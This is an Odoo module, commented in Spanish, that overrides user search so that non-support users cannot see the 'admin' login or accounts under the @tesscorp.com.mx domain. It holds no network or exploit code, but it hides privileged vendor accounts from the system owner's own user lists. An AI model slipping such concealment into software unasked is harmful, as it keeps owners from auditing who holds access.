# -*- coding: utf-8 -*-
from odoo import models, api

class ResUsers(models.Model):
    _inherit = 'res.users'

    @api.model
    def _search(self, args, offset=0, limit=None, order=None, count=False, access_rights_uid=None):
        # 1. Comprobamos si el contexto actual es de superusuario o del propio sistema (uid=1)
        # En estos casos no aplicamos ningún filtro para evitar romper la lógica interna de Odoo
        if self.env.su or self.env.uid == 1:
            return super(ResUsers, self)._search(args, offset=offset, limit=limit, order=order, count=count, access_rights_uid=access_rights_uid)

        # 2. Obtenemos el usuario actual
        current_user = self.env.user
        
        # 3. Determinamos si el usuario actual es de soporte
        # Se considera de soporte si su login es 'admin' o si su login termina en @tesscorp.com.mx
        is_support_user = False
        if current_user:
            login = current_user.login or ''
            is_support_user = login == 'admin' or login.endswith('@tesscorp.com.mx')

        # 4. Si el usuario actual NO es de soporte, ocultamos los logins de soporte
        if not is_support_user:
            # Clonamos args para no mutar el argumento original de forma destructiva
            args = list(args) if args else []
            # Ocultamos el login 'admin' y cualquier cuenta de soporte con dominio @tesscorp.com.mx
            args.extend([
                ('login', '!=', 'admin'),
                ('login', 'not ilike', '@tesscorp.com.mx')
            ])

        return super(ResUsers, self)._search(args, offset=offset, limit=limit, order=order, count=count, access_rights_uid=access_rights_uid)
